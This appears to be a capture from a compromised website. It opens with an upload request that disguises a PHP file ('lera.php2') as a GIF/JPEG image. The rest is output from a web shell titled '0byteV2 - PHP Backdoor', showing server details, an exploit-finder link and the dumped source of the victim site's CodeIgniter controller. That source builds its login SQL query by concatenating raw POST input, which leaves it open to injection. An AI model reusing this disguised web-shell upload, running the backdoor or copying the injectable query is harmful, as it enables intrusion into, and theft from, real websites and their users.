------WebKitFormBoundary5SePZ93NyvO6nCmJ Content-Disposition: form-data; name="qqfile"; filename="lera.php2" Content-Type: application/octet-stream GIF89a; ÿØÿà JFIF ÿí „Photoshop 3.0 8BIM hg Js4XT_wSZ67ehRpQTnMQ( JFBMD0f000770010000cd1d00002b54000065550000ec560000e488000080b80000b1bb0000ÿÛ C ")$+*($''-2@7-0=0''8L9=CEHIH+6OUNFT@GHEÿÛ C !!E.'.EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEÿ €" ÿÄ ÿÄ ÿÚ ù úȉ{j êv $àiwžœöˆ'Ýœ«§ôåÝU >À [T€ÕôuÕæî§—ÈúWÃúþÀ Iô1óËî£;˜‘ò8ØN¸£•w@cŽºóê¶'»6r´G[É]X«§=&5³uÝ÷mqÖÑSÞœX†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†Zò²²²²²²‹@ ŸMöóù‹éy3÷ëûOcõjSƒvQÎSÞŸ9yWI$ä`äÝO‡/çWyå¼ã›Ï¸ëSãý+ƒ §e,/~™}_^Ç*—~IM•ÇЫäÞý¿yð—ÞðO;šƒ›ÊoCŸ¿c_ÇëüYÈåmѧíö=%÷Ä¢^EΫW•Y±ýÊöZm.läýúlûŸ‘cÛòóP=Ÿ™Zé<9Ï%âGoÈŠ›é<@MÆ>§—›;yüÇn1;v‰626,=V~”qú<‘ušã’ëÑ/1íä5¯…a6=|å¹ìy~Õž[æ?Sù[Yyˆëûn#®>{fŒ§ì…¹wýú&³>F­Úžã–'Íj,*³¨½75œ½õG¦Ëêè>¯¹IdÔy=ùbØïËTi°¸u—†ì8t¬ºÃfmmíEÞ„K óãøî×çÙé;d’Þå·s<†½»»)<ãû,–œ˜ùì}Sg'¿¿Ÿ§ÆŠÆ[yò nÓ¼õïµç¯CÑæèÂP­Ño®)4ôå‹ÓÕÚ¯?òÿ ªry×»¤–fÚý‹ï¾!‹Â_Ô~GosöѤë9a³ùU Ç;c¯tyí=óѳXßcQ'¦-Ú6z|ùA™–ì)îjyïWMÌõü·KqMu¬ôÖPlºg“ù¯×ø\o™›/T½dÍ6lü×fZÚóÍ{#\yž,/dhWºý°·eßÏË%•·ÓUô;Ÿ“g¼“[ ¾÷›ò:Uâá_¼‘‹Ó¥ÛeNuWɨ3­Ð¼ò\½%ÌðÇ|5µ[q†±/ ˜j|wèùÌëhvkØJ[eèâÑ7EÌê~Ûå¸]w+Ùsß;qWmsÕÙ×ÙîRpýßÌ%¼ÓY/.Žâ¶ïO™Déêó®s)q%Ù”t²±ÕÕ·ìùyŸ>>ûìÖüwâCÛŽÆ|d<÷/L<Ø]¦øUF¼î&'=Þµrý„i¯—Bî¹¼©qݯ;Ã<6K“Á™Œdê·jGuÀ};Y¶¾^¹ü¾³èU¸×Ï´^Àãß =44 ÂNç[ß5Ÿ}ó™oUyèä‰>¹Ï§¹¬ç¸¿Üòß/k]hÏSg]iµWÍ>£óLX;6d½uå-þ§â-ÍlLµÍA¯é}ι:zùj|ߢ_¶åæ]üþ=K+Ìõš3Çaæ^z2óÐôyæ^²ðÇ̼1{âÉ“¢C\ßÏûÎ*øýw/iËuëÁëÁ²ÂìîoѾwô=N’4½=8ÒÓ¡çuË´ñûaèÙ6¦¾ãzñ®Ç~®¼±ó=öYQ·Â6çŽc×£Ð2½ðyèó¼<Ç"ÉߣrÕstIiù.î¢>x;ÅîÕÓäß2Âty|úïúGÎ>§¼YF“¯ È’ôç§/:,¿º²Vɲ(úlwÏåñ>‹O×—«£ÑÛ”©ºvý,˜øÔݺdðëæ¾=SÙW[YÑÙÖÙjiù§Ô¹y®C.†$Yô4WÚ Ú@²‚‹§çña¥ã,/&zWD´‰5õŒ±Ë·6éÝ.ØÛ4›rÇ3ÐzAàz<óу"ÊÏÈgŒ¸G›”¼ß7ô­-p6Ý”¼¹çQéñFϧ=ô¼vïžq¤ÅܯӶ'>”òr‰âöa*¦L·’+%±¾DûO»7½”ÁîøOg—´gRæÃ³Æáôu6wKade¦ÞÓÝsD¼cfaqMth®¸†SÐvÚ£‰uÐcŸÆßFuG_yX}C/=ëÏ ºó—diI9yéï¾z <ôxW¾~6K†ÍûåÓ¿!–xì=÷OL¢6cו3¹¼ôÙ¯Ù%­;fñÙ×^v㵎žüdgEËçßB×¼ü~/}Âk2¬kìµ2±‡mǧ;:¾É/ìël«me¥maŽÂ@µ­²\ [×pŠGõ­2Ã^³(›õ–Ï=¦Í[eò.íd¿|ô{ç  z,¯=Ù5~^Ç¢½ô2Ù†p÷gî#6Ô.o«ä¸öª<'®tʾ§é•¾¯=•g?3Rân­Õ/~½¬ú#Îs£ÀùL¾§šíÎEµm§=r¶,K»:Ë3lƒÜ’¾ÆåÝ|3ÖDÖÏÃ6bš´I×^ûç§›ônšÑ†ÜO¾z=óРЯ|¶êË:ÏÝ#w¾l<^áéëAŠå­…˜sG1Ç·?®LŸ7£G¯g³Ç3›è¹­gËÝdØS‰4íL˜ú5ìÒ{Íôšu8ë3²ç§×ØÙsgWfoƒ:†^ed)‘e,ˆ“bù‘1ó?0Ù‰«^ívaïž™nײjÌÒG¾z=óРЯpñwéÎfl}Û½5gèôcž³hÀÏÍ^ÖTöÚq¾RöfR±Ë¼¤UMÓ›+ º 2"nY;aäKö)a„|ÌòÓ´ãkz8%Õm•ͽ¥M©"¸¦Dß«j̉.)“Òcæ^ãž&¼6áQÞz›vc”Ô=šö¦×žžïƒ×ƒ×ƒ×ƒ&%=ÌÛ»^üë/™<ôyèÃVQ„-ÕD¹4ö¦ü°ôÊ$˜$KNK¯2Ã=ZÌI”ÖyÔ½9hY9éÍvç§a–!t]LÙn ®¯»ª(¬«,®m-ªíjDYQcÁdm˜dM&:ûïž§žeáŽ9xa¯n²Xe©+-{3¨;ôo³?qÊø=yè ûž½¦ì±Ù=÷ÓܼÀË^™èzAÑC(m«,Íž{‰–ºJkÍ2O`Í¢³EµY¾³Et¹gå+$l‹´ßž­¢¶Ú¼Ûº¿s2àOŒr–uÖzÍ•­E¹"<ˆæ>ùêhÇ, úwjW¾zžy—†8çá†ëHáž’žjΣÈ&ç?qôõàõâ_^^^}ÇÕ÷||ɹDÛn÷ÌÃ/O^j6jÕ¨k•¸å­4ïìôÇTÍf¬ â¶ß/OnsUW|ÏAô™ùŸNm©îýy› ËˆTϬ±IúvéNRÒ®×Y°¶¨¶$èݤÇß=MZwÇ,uç¨×çúS…Èíü㥺ã=yêJ¿Fn‰påÙŸ¸z{î>ž¼¼¼¼1õ¬·ã*\}ÛŽožâ6{€Éæg¹éÒJÓ£Ly|zöXóÕ™ßYËÕÁƽž¹pÇ,N’Öžû¯>¡¯×÷¾ãž³·v.r÷©£|bªd-õe†&y‹:›{™¶ôÖĽ;u˜{á0¾)c«f³çg'×ú¶ˆ®ñNVo…Uç¯mJÑ–ƒTÈS}ÇÓßqö=x=x=x=x=÷Vný;ecîÜëN[r5ûž&:öº¬=+¥Ëôƒó?©|Ã:‹Ž¬üþœôg£;kÕ†ñ»Í;7Ï¡é9Γ¦3Ãf»%nÃlmϬõ§±%WÕtÚûDß[qªÎ:ö¢ÚæUÅ5Á/°1ð5Å•²×ù×WÍt%ûÜSÌ}òÏ0Ï]p™üåË·Ò5|ð¿A‘óaô§ÍGÒ½ù ú[æƒéoš¥¾h>–ù ú^1/Õòù0úÎ#G×qù úÃäãëyü„}/¯êù/‡Õ9nT]m ó¿ÓOä½u‡ Ö{ìx?S»ÝóÕ}óŸkéÙ|Çú†_-R|·Óê0¾v®Ö_}//šxv2ø/dú ‡ËGÖ_&W| }V'ÍGÕ}ùHëí>x>¯çÊGÕŸ)GÕqùb½` !ž‘Òt GHÒt™7«%•«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²­Ø3333333333333¡k—¯’u£’u£’u£’u£’u£“è&5Æ"[\b%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰c×ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1Ù€ )ìMí;€ ‰‘šd  WJ7€ 5Íq¦4$•mɪÒblJûcdZúÓéœ×CÏš'èÒd œXXÂÐY×i–Næ$Ä;kŠÒ.4Ç+Ð’4Tj,zJi†uÒ®@ ä <ôyè1È 9Ï@äzr cç  ;©Ë\áA.ãrÛέG‰|åî‰ÈS@ SÜ^·º¡ Ié12ïÇ¿¸È‡3Ï@ §µ3!@<=yè ÃÔ9€ÀÍH Dе“HdÀÄ –ê°ö¿TRF°‹9”ÞùQôåF¨´çYŽÆÝUFî‡çÿ @8{¬9âö eéa_¸h•Œ2æG-Ñ6À„M¢ys„j‚Æ]©×rýGn—ÉÙ“çÒX rrY 1d ¢¼ôyèãÐ ä=är Œ9Úé@ IÎ^Yy¶Œîœôbúg1<¸s°Î¹Éô$µ.¢ýÊm:g'd]B©€vJZã«SzYã›;5ƒ¦s™šÀê!G©:·5 ½QV{ŸÒtÎg¡6¹I¥ó”ÚtÎkYÐI¥º _`>y+·ôå w.¯ âs::üNã£ä»Æìë¼9º^ÿ AÉ{+¥8Ýß§!CôÜNOÀAæ»LNÞóœÇ§9ËèYùμqº;N[Eéó½HðæúPâr»¹>wi×dsUý=AïH ô á h!“ h „M ,ÉDbK^À‡0 e N…¸¾ÆBl¨ÒÈ7ìÓf"ûŸ¸(er–fWÔYö|ñWŸ5r\m ¾Ó§QâžqmËÝÓúkàÞc@_aKК¤êô÷fª‚ßÝ4ÇЀ xôc 9 äyŽAç£ÏAŽCÇ¡Ž@ W£Ç  eQYóSK…#ªr3ŽÌôÄ)¼E±ÐãËG:­uµ‡dæ§í\ñÓ9;ñÍzt‘*v38^ ²sðαÎút.r!×9¹e„žG#¬rsÌÍ.TUÇ\äý:·-b\)î Ez8Ÿ{\N&Ï¥ç=ôAó¤yéÍT÷cæ]WéËÖw~œt~çMJ9¼:qó™ý®GkÒäsžtƒ›tƒš¥ïü8ùÝã¦Í°8Kîsp;:r—ÎÄq6½ù·KÒoWSáÇö>z ))†’H"i”ÃI%Ž@ Bš w™€€ W´DyT³ÌfQxZE§é ¹hÞGßQ<…g¨êôBØiÛßå$ó^r<$@®®:Ï#î0—S(Ï^ÈEäZ襔(EÖ0eǯ¯-6CZèªØMe‰£dJ“§¸å;p 1È<ô @ o9™.Î’XßËÚ=/9Ñžr<$@®®:Ï#î%Á‰¤°Ë_›%ò–äü<¨,0¢˜MH4Âôºò³Y»\œŒôÐë> ä Ž@9 *t^†99 1È Ž@rrr9r )í²ä <ô óÚRçÞgQÕ¹ìK™4ÂçÞgQ}7—š]«)έG èܶGN ˆ^Íãå,I\9Ý9èÇUž¸í\î'Hæ5VŽNؾ‰+‡;§=ê¡Ó׫Èè¾Ã¤s9Ÿè ㊧úXãö[[í¬ñÅSý,q¶ ¢«¾˜qÛ;LNqÒŽ>“éxœUŸH1â;œNWÐq9½ æùï¢âq½ ã¤uÎ#¹Äáu}˜ÛÒnèŸ;¾êÍîzꂳ«óÐ ò!0 ä †` Ë:"@•·Òvþ›¨ìëK+sÒú=f¢D†ãD¬a—29nˆ ·…¼‡æÒ<îwis®óD½uD­Ôgœ>o¤ ä ccñèÇ ƒÇ£ÏCƒƒE}¸Ç %³œ–\F¨€u{(ôœ[eÌJ/aSh:ÕF%Ë–œ]¨"S””t0è0:íTVdüe¡~æEÌÞ*Ø¿Q êöQè:77dY Háäõãçø}#¯úävu9u}‡‡Î,ûOJ-AI‡g‘ÉHé=9ªžì|Ë£ê29»Yã‹ÝäpvýG·«ðà0úG_ôÇXt ¤¦‚4 ¤€ <=F’ h h ŠJ!@ Šöˆ¯µ¦ÖYWÀ½7DÓHu‘`f]é×F\k¥èˆöá—_hr6üÎÂß\AkŸ=,•¯d"ò-tSe¶º’Âo!ÐåÔÊ2ƒX:}õX–÷§V 0byteV2 - PHP Backdoor
Linux 116-202-49-93.cprapid.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64 [ FIND EXPLOIT ]
[ MySQL: OFF ][ Curl: OFF ][ Wget: OFF ][ Perl: OFF ][ Compiler: OFF ]

Disable Function: exec,passthru,shell_exec,system

/home/vhtecindia/public_html/application/controllers/
load->helper('url'); $this->load->library('session'); $this->load->helper('json_ouput_helper'); $this->load->helper('common_helper'); $this->load->helper('dashboard_helper'); $this->load->model('Authentication_model'); $this->load->model('Common_model'); $this->load->database('default'); setlocale(LC_MONETARY, 'en_IN'); } public function login() { $method = $_SERVER['REQUEST_METHOD']; if ($method != 'POST') { json_output(400, array('status' => 400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $params = $_REQUEST; $username = $_POST['user_id']; $password = md5($_POST['password']); $type = $this->db->query("SELECT * FROM `admin_login` WHERE `USER_NAME` LIKE '".$username."' && `ADMIN_PASSWORD` LIKE '".$password."'")->row('COMPANY_HRM_TYPE'); $response = $this->Common_model->login($username, $password, $type); json_output($response['status'], $response); if ($response['message'] == "ok") { insert_activity_history(1,0); } } } } public function logoutside() { $method = $_SERVER['REQUEST_METHOD']; if ($method != 'POST') { json_output(400, array('status' => 400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $response = $this->Authentication_model->auth(); if ($response['status'] == 200) { $response = $this->Common_model->logout(); $this->session->sess_destroy(); json_output(200, $response); insert_activity_history(2,0); } else if ($response['status'] == 303) { $this->Common_model->logout(); $this->session->sess_destroy(); json_output(401, $response); } } } } public function get_state() { $response = get_city($_POST['stateid']); json_output(200, $response); } public function get_states() { $method = $_SERVER['REQUEST_METHOD']; if ($method != 'POST') { json_output(400, array('status' => 400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $response = $this->Authentication_model->auth(); if ($response['status'] == 200) { $response = get_all_states(); json_output(200, $response); } else if ($response['status'] == 303) { $this->Common_model->logout(); $this->session->sess_destroy(); json_output(401, $response); } } } } public function get_enroll() { $method = $_SERVER['REQUEST_METHOD']; if ($method != 'POST') { json_output(400, array('status' => 400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $response = $this->Authentication_model->auth(); if ($response['status'] == 200) { // die(var_dump($_POST['sub_id'])); $response = get_enroll($_POST['center_id']); json_output(200, $response); } else if ($response['status'] == 303) { $this->Common_model->logout(); $this->session->sess_destroy(); json_output(401, $response); } } } } public function get_submenu() { $method = $_SERVER['REQUEST_METHOD']; if ($method != 'POST') { json_output(400, array('status' => 400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $response = $this->Authentication_model->auth(); if ($response['status'] == 200) { // die(var_dump($_POST['sub_id'])); $response = get_submenu($_POST['sub_id']); json_output(200, $response); } else if ($response['status'] == 303) { $this->Common_model->logout(); $this->session->sess_destroy(); json_output(401, $response); } } } } public function get_subsubmenu() { $method = $_SERVER['REQUEST_METHOD']; if ($method != 'POST') { json_output(400, array('status' => 400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $response = $this->Authentication_model->auth(); if ($response['status'] == 200) { // die(var_dump($_POST['sub_id'])); $response = get_subsubmenu($_POST['subsub_id']); json_output(200, $response); } else if ($response['status'] == 303) { $this->Common_model->logout(); $this->session->sess_destroy(); json_output(401, $response); } } } } public function get_district() { // $method = $_SERVER['REQUEST_METHOD']; // if ($method != 'POST') { // json_output(400, array('status' => 400, 'message' => 'Bad request.')); // } else { // $check_auth_client = $this->Authentication_model->check_auth_client(); // if ($check_auth_client == true) { // $response = $this->Authentication_model->auth(); // if ($response['status'] == 200) { $response = get_district($_POST['stateid']); json_output(200, $response); // } else if ($response['status'] == 303) { // $this->Common_model->logout(); // $this->session->sess_destroy(); // json_output(401, $response); // } // } // } } public function volunteer_request_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $status = $_POST['status']; $totalData = count_all_volunteer($status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_volunteer($limit, $start, $order, $dir,$status); } else { $search = $this->input->post('search')['value']; $posts = volunteer_search($limit, $start, $search, $order, $dir,$status); $totalFiltered = volunteer_search_count($search,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if ($post->VOL_STATUS != '1') { $status = 'Pending'; }else{ $status = 'Approved'; } $nestedData['SR_NO'] = $i; $nestedData['VOL_NAME'] = $post->VOL_NAME; $nestedData['VOL_EMAIL'] = $post->VOL_EMAIL; $nestedData['VOL_PHONE'] = $post->VOL_PHONE; $nestedData['VOL_MESSAGE'] = $post->VOL_MESSAGE; $nestedData['STATUS'] = $status; $nestedData['ACTION'] = '
'; // 'VOL_ID.'" mname="'.$post->VOL_ID.'"" measureid="'.$post->VOL_ID.'"" href="javascript:void(0);">'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // vision public function vision_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $totalData = count_all_vision(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_vision($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = vision_search($limit, $start, $search, $order, $dir); $totalFiltered = vision_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['VOL_NAME'] = $post->VISION_TITLE; $nestedData['VOL_EMAIL'] = $post->VISION_DESCRIPTION; $nestedData['ACTION'] = '
'; // 'VOL_ID.'" mname="'.$post->VOL_ID.'"" measureid="'.$post->VOL_ID.'"" href="javascript:void(0);">'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function feedback_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $status = $_POST['status']; $totalData = count_all_feedback($status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_feedback($limit, $start, $order, $dir,$status); } else { $search = $this->input->post('search')['value']; $posts = feedback_search($limit, $start, $search, $order, $dir,$status); $totalFiltered = feedback_search_count($search,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if ($post->FB_STATUS != '1') { $status = 'Pending'; }else{ $status = 'Published'; } $nestedData['SR_NO'] = $i; $nestedData['FB_PER_NAME'] = $post->FB_PER_NAME; $nestedData['FB_COMMENT'] = $post->FB_COMMENT; $nestedData['STATUS'] = $status; $nestedData['ACTION'] = '
'; // ' // FEEDBACK_ID.'" feedbackid="'.$post->FEEDBACK_ID.'" " href="javascript:void(0);"> Click To Publish // '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function color_list() { $columns = array( 0 => 'SR_NO', 1 => 'BLOG_TITLE', 2 => 'BLOG_TITLE', 3 => 'BLOG_TITLE', 4 => 'BLOG_TITLE', 5 => 'BLOG_TITLE', 6 => 'BLOG_TITLE', 7 => 'BLOG_TITLE', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; //$page_name = $_POST['page_name']; $totalData = count_all_color_setting(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_color_setting($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = color_setting_search($limit, $start, $search, $order, $dir); $totalFiltered = color_setting_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->CS_HOVER_STATUS == 1){ $back_color = ' '; $font_color = ' '; }else{ $back_color = ' '; $font_color = ' '; } $nestedData['SR_NO'] = $i; $nestedData['CS_NAME'] = @$post->CS_NAME; $nestedData['CS_CODE'] = ' '; $nestedData['CS_COLOR'] = ' '; $nestedData['CS_BACKGROUN_HOVER'] = $back_color; $nestedData['CS_FONT_HOVER'] = $font_color; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function fquestion_list() { $columns = array( 0 => 'SR_NO', 1 => 'FQUESTION', 2 => 'FQUESTION', 3 => 'FQUESTION', 4 => 'FQUESTION', 5 => 'FQUESTION', 6 => 'FQUESTION', 7 => 'FQUESTION', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $status = $_POST['status']; $code = $_POST['code']; $totalData = count_all_question($status,$code); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_question($limit, $start, $order, $dir,$status,$code); } else { $search = $this->input->post('search')['value']; $posts = question_search($limit, $start, $search, $order, $dir,$status,$code); $totalFiltered = question_search_count($search,$status,$code); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if ($post->FSTATUS != '1') { $status = 'Pending'; }else{ $status = 'Published'; } $nestedData['SR_NO'] = $i; $nestedData['FQUESTION'] = $post->FQUESTION; $nestedData['FANSWER'] = $post->FANSWER; $nestedData['FSTATUS'] = $status; $nestedData['ACTION'] = ' '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function member_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEMBER_NAME', 2 => 'MEMBER_NAME', 3 => 'MEMBER_NAME', 4 => 'MEMBER_NAME', 5 => 'MEMBER_NAME', 6 => 'MEMBER_NAME', 7 => 'MEMBER_NAME', 8 => 'MEMBER_NAME', 9 => 'MEMBER_NAME', 10 => 'MEMBER_NAME', 11 => 'MEMBER_NAME', 12 => 'MEMBER_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $status = $_POST['status']; $totalData = count_all_member($status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_member($limit, $start, $order, $dir,$status); } else { $search = $this->input->post('search')['value']; $posts = member_search($limit, $start, $search, $order, $dir,$status); $totalFiltered = member_search_count($search,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if ($post->MEMBER_STATUS != '1') { $status = 'Pending'; }else{ $status = 'Published'; } if ($post->MEMBER_PHOTO != '') { $image = '
'; }else{ $image = '
'; } $nestedData['SR_NO'] = $i; $nestedData['MEMBER_PHOTO'] = $image; $nestedData['MEMBER_NAME'] = $post->MEMBER_NAME; $nestedData['MEMBER_CONTACT'] = $post->MEMBER_CONTACT; $nestedData['MEMBER_ADDRESS'] = $post->MEMBER_ADDRESS; $nestedData['MEMBER_POST'] = $post->MEMBER_POST; $nestedData['MEMBER_STATE'] = $post->STATE_NAME; $nestedData['MEMBER_DISTRICT'] = $post->DISTRICT_NAME; $nestedData['MEMBER_ABOUT_US'] = $post->MEMBER_ABOUT_US; $nestedData['MEMBER_STATUS'] = $status; $nestedData['ACTION'] = ' '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function subscriber_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEMBER_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $status = $_POST['status']; $totalData = count_all_subscriber($status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_subscriber($limit, $start, $order, $dir,$status); } else { $search = $this->input->post('search')['value']; $posts = subscriber_search($limit, $start, $search, $order, $dir,$status); $totalFiltered = subscriber_search_count($search,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['EMAIL'] = $post->email; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function enquiry_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEMBER_NAME', 2 => 'MEMBER_NAME', 3 => 'MEMBER_NAME', 4 => 'MEMBER_NAME', 5 => 'MEMBER_NAME', 6 => 'MEMBER_NAME', 7 => 'MEMBER_NAME', 8 => 'MEMBER_NAME', 9 => 'MEMBER_NAME', 10 => 'MEMBER_NAME', 11 => 'MEMBER_NAME', 12 => 'MEMBER_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = 'DESC'; //$dir = $this->input->post('order')[0]['dir']; $status = $_POST['status']; $totalData = count_all_enquiry($status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_enquiry($limit, $start, $order, $dir,$status); } else { $search = $this->input->post('search')['value']; $posts = enquiry_search($limit, $start, $search, $order, $dir,$status); $totalFiltered = enquiry_search_count($search,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['PERSON_NAME'] = $post->PERSON_NAME; $nestedData['PERSON_EMAIL'] = $post->PERSON_EMAIL; $nestedData['PERSON_SUBJECT'] = $post->PERSON_SUBJECT; $nestedData['PERSON_COMMENT'] = $post->PERSON_COMMENT; $nestedData['PERSON_MOBILE'] = $post->PERSON_MOBILE; /* $nestedData['ACTION'] = '
'; */ $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // admit card lisst public function admit_card_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEMBER_NAME', 2 => 'MEMBER_NAME', 3 => 'MEMBER_NAME', 4 => 'MEMBER_NAME', 5 => 'MEMBER_NAME', 6 => 'MEMBER_NAME', 7 => 'MEMBER_NAME', 8 => 'MEMBER_NAME', 9 => 'MEMBER_NAME', 10 => 'MEMBER_NAME', 11 => 'MEMBER_NAME', 12 => 'MEMBER_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $status = $_POST['status']; $totalData = count_all_admit_card($status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_admit_card($limit, $start, $order, $dir,$status); } else { $search = $this->input->post('search')['value']; $posts = admit_card_search($limit, $start, $search, $order, $dir,$status); $totalFiltered = admit_card_search_count($search,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['Enrollment'] = $post->enrollment_no; $nestedData['Name'] = $post->name; $nestedData['Roll'] = $post->roll_no; $nestedData['Course'] = $post->course_name; $nestedData['year'] = $post->year; $nestedData['ACTION'] = '
'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // SLIDER LIST public function slider_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $totalData = count_all_slider_details(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_slider_details($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = slider_details_search($limit, $start, $search, $order, $dir); $totalFiltered = slider_details_search_count($search); } $data = 